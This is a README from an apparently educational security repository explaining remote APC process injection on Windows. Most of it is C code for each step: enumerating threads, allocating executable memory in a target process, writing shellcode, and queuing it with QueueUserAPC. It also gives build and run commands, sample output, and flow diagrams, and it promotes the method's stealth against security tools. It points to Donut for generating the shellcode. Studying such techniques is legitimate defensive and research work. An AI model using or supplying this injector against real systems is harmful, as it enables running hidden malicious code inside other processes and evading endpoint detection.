This folder demonstrates APC injection—a process injection technique that queues code execution on existing threads rather than creating new ones.
Important Disclaimer: This code is for educational purposes only on systems you own or have explicit authorization to test. Unauthorized injection is illegal.
APC (Asynchronous Procedure Call) injection shares similarities with thread hijacking but operates differently:
- Enumerate Threads – Use
CreateToolhelp32Snapshot()to enumerate threads in the target process - Select Thread – Find a valid thread ID from the target process
- Allocate Memory – Use
VirtualAllocEx()to allocate executable memory in the target process - Write Shellcode – Use
WriteProcessMemory()to copy shellcode to the allocated memory - Get Thread Handle – Use
OpenThread()to obtain a handle to the target thread - Queue APC – Use
QueueUserAPC()to queue the shellcode for asynchronous execution - Wait for Alertable State – The shellcode executes when the thread enters an alertable state
The critical difference from other injection techniques: the thread must enter an alertable state for the queued APC to execute. An alertable state occurs when a thread calls:
Sleep()/SleepEx()WaitForSingleObject()WaitForMultipleObjects()MsgWaitForMultipleObjects()SignalObjectAndWait()
When the thread calls one of these APIs, the APC callback executes before the API returns.
The example demonstrates remote APC injection—injecting shellcode into a different process via APC on an existing thread.
Flow:
Injector Process (APC-Injection.exe)
│
├─ CreateToolhelp32Snapshot() → Get all threads
│
├─ Thread32First/Next() → Find thread in target PID
│
├─ OpenProcess() → Get handle to target
│
├─ VirtualAllocEx() → Allocate memory in target
│
├─ WriteProcessMemory() → Write shellcode to target
│
├─ OpenThread() → Get handle to target thread
│
└─ QueueUserAPC() → Queue shellcode for execution
│
└─ Target Process
│
├─ Thread enters alertable state (Sleep, Wait, etc.)
│
└─ Shellcode executes via APC callback
DWORD threadId = 0;
HANDLE hSnapshot = CreateToolhelp32Snapshot(
TH32CS_SNAPTHREAD, // Snapshot all threads in the system
0 // Include all processes
);
THREADENTRY32 te = {0};
te.dwSize = sizeof(te);
Thread32First(hSnapshot, &te);
do {
if (te.th32OwnerProcessID == pid) { // Match target process
threadId = te.th32ThreadID; // Store thread ID
break;
}
te.dwSize = sizeof(te);
} while (Thread32Next(hSnapshot, &te));Iterates through all system threads and finds one belonging to the target process. The first valid thread is selected as the APC target.
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | // Required for VirtualAllocEx
PROCESS_VM_WRITE, // Required for WriteProcessMemory
FALSE,
pid
);Obtains a handle to the target process with necessary permissions.
LPVOID HandleMemory = VirtualAllocEx(
hProcess, // Target process
NULL, // Preferred address (OS chooses)
sizeof(shellcode), // Size to allocate
MEM_COMMIT | MEM_RESERVE, // Allocate and commit pages
PAGE_EXECUTE_READWRITE // Make executable
);Allocates executable memory in the target process to hold shellcode.
SIZE_T bytesWritten = 0;
BOOL RESULT = WriteProcessMemory(
hProcess, // Target process
HandleMemory, // Remote address in target
shellcode, // Shellcode buffer (local)
sizeof(shellcode), // Size to copy
&bytesWritten
);Copies shellcode bytes from the injector process to the target process memory.
HANDLE hThread = OpenThread(
THREAD_SET_CONTEXT, // Required for APC operations
FALSE,
threadId // Thread ID from enumeration
);Obtains a handle to the enumerated thread in the target process.
DWORD apcResult = QueueUserAPC(
(PAPCFUNC)HandleMemory, // Function pointer (shellcode address)
hThread, // Thread to receive APC
0 // Optional parameter (unused here)
);Queues the shellcode for asynchronous execution. The shellcode runs when the thread enters an alertable state.
CloseHandle(hThread); // Close thread handle
CloseHandle(hProcess); // Close process handle
CloseHandle(hSnapshot); // Close snapshot handleReleases acquired handles and cleanup resources.
- Windows 10/11 (examples target modern Windows)
- Administrator privileges (often required)
- Target process with accessible thread
- Isolated test environment strongly recommended
- C/C++ Compiler: MSVC (Visual Studio) or MinGW-w64
- Debugger: WinDbg, x64dbg, or Visual Studio Debugger (optional)
- Process Tools: Process Explorer for thread enumeration
- Understanding of Windows thread enumeration (CreateToolhelp32Snapshot)
- Understanding of APC concepts and alertable states
- Understanding of Process IDs and Thread IDs
- Understanding of shellcode (position-independent machine code)
The target process must be in an alertable state for the APC to execute. Use the provided Alertable-Process.exe:
gcc -o Alertable-Process.exe Alertable-Process.c
.\Alertable-Process.exe
# Output: Target process PID: 1234In another terminal:
.\APC-Injection.exe 1234From Alertable-Process.exe:
Target process PID: 1234
Process is now in alertable state (sleeping)...
[APC executes here - shellcode runs]
From APC-Injection.exe:
Target PID: 1234
Found thread ID: 5678
Successfully opened handle to process with PID 1234: 0x00000000000001F4
Memory allocated successfully at address: 0x0000000002A40000
Wrote 5280 bytes to allocated memory.
Successfully opened handle to thread with TID 5678: 0x00000000000001FC
APC queued successfully to thread ID 5678.
The shellcode array in the code must be filled with actual machine code bytes. Use Donut (documented in ../Shellcode/README.md) to generate shellcode and convert to hex format.
┌──────────────────────────────────────────────┐
│ Injector Process Starts │
└──────────────┬───────────────────────────────┘
│
▼
┌──────────────────────────────────────────────┐
│ CreateToolhelp32Snapshot() │
│ ├─ Take snapshot of all system threads │
│ └─ Enumerate to find target's threads │
└──────────────┬───────────────────────────────┘
│
▼
┌──────────────────────────────────────────────┐
│ Thread32First/Thread32Next() │
│ ├─ Iterate through all threads │
│ ├─ Match th32OwnerProcessID == target PID │
│ └─ Store thread ID (e.g., 5678) │
└──────────────┬───────────────────────────────┘
│
▼
┌──────────────────────────────────────────────┐
│ OpenProcess() │
│ ├─ Open target process handle │
│ └─ Get PROCESS_VM_OPERATION | PROCESS_VM_WR │
└──────────────┬───────────────────────────────┘
│
▼
┌──────────────────────────────────────────────┐
│ VirtualAllocEx() │
│ ├─ Allocate memory in target process │
│ └─ Address: 0x0000000002A40000 │
└──────────────┬───────────────────────────────┘
│
▼
┌──────────────────────────────────────────────┐
│ WriteProcessMemory() │
│ ├─ Copy shellcode to target memory │
│ └─ 5280 bytes written │
└──────────────┬───────────────────────────────┘
│
▼
┌──────────────────────────────────────────────┐
│ OpenThread() │
│ ├─ Get handle to found thread (ID: 5678) │
│ └─ Requires THREAD_SET_CONTEXT access │
└──────────────┬───────────────────────────────┘
│
▼
┌──────────────────────────────────────────────┐
│ QueueUserAPC() │
│ ├─ Queue shellcode (0x0000000002A40000) │
│ ├─ to thread (5678) │
│ └─ APC added to thread's APC queue │
└──────────────┬───────────────────────────────┘
│
▼
┌──────────────────────────────────────────────┐
│ Return to Injector (Injection Complete) │
└──────────────┬───────────────────────────────┘
│
▼
┌───────────────────────────────────────────────────┐
│ Target Process Thread Queue Check │
│ ├─ Thread continues executing normally │
│ └─ APC waits in queue... │
└───────────┬───────────────────────────────────────┘
│
▼
┌───────────────────────────────────────────────────┐
│ Thread Enters Alertable State │
│ ├─ Calls Sleep(), WaitForSingleObject(), etc. │
│ │ │
│ └─ Windows: "Check APC queue before waiting" │
└───────────┬───────────────────────────────────────┘
│
▼
┌───────────────────────────────────────────────────┐
│ APC Execution │
│ ├─ Call APC function (shellcode address) │
│ ├─ Execute shellcode in target's context │
│ └─ Shellcode payload runs (MessageBox, etc.) │
└───────────┬───────────────────────────────────────┘
│
▼
┌───────────────────────────────────────────────────┐
│ APC Completes │
│ ├─ Return from APC callback │
│ └─ Thread continues with original API call │
└───────────┬───────────────────────────────────────┘
│
▼
┌───────────────────────────────────────────────────┐
│ Clean Up │
│ ├─ CloseHandle(hThread) │
│ ├─ CloseHandle(hProcess) │
│ └─ CloseHandle(hSnapshot) │
└───────────────────────────────────────────────────┘
✓ No new threads – Reuses existing threads instead of creating visible artifacts
✓ Stealthy – Less obvious than CreateRemoteThread() calls
✓ Works across processes – Can inject into different processes
✓ Reliable execution – Once queued, APC reliably executes when thread is alertable
✗ Alertable state requirement – Shellcode only executes if/when the target thread calls an alertable API ✗ Timing uncertainty – No guarantee selected thread will become alertable in reasonable timeframe ✗ Limited thread selection – Enumerating and testing all threads risks process crash ✗ Access control – DACL on target process may deny thread access ✗ Architecture specific – Different considerations for 32-bit vs 64-bit processes
Unlike thread hijacking (which forces execution immediately) or remote thread creation (which guarantees execution), APC injection depends on thread behavior:
- Best case: Target thread calls a wait API soon after APC queued → shellcode executes
- Worst case: Target thread never calls alertable API → shellcode never executes
Why queuing APCs on multiple threads is dangerous:
- Queuing APC on every thread increases likelihood of execution but risks crashing the process
- Each APC callback execution has potential for failures, memory corruption, or stack overflow
- Multiple simultaneously-executing APCs in the same process can cause stability issues
- EDR/security software may detect multiple APC operations as anomalous
Authorization Required:
- Only use on systems you own
- Never test on systems without explicit written permission
- Works in authorized penetration testing scenarios only
Responsible Disclosure:
- Report findings through proper channels
- Give organizations time to patch
- Follow your organization's security policies
Legal Implications:
- Unauthorized code injection is illegal (Computer Fraud and Abuse Act in US)
- Similar laws exist in other jurisdictions
- Violations can result in criminal charges
- CreateToolhelp32Snapshot Documentation
- Thread32First Documentation
- OpenThread Documentation
- QueueUserAPC Documentation
- VirtualAllocEx Documentation
- WriteProcessMemory Documentation
- Alertable Wait State
- Windows Internals
This code and documentation are provided for educational purposes on authorized systems only. Unauthorized process injection is illegal and violates computer fraud laws. You are solely responsible for compliance with applicable laws and organizational policies.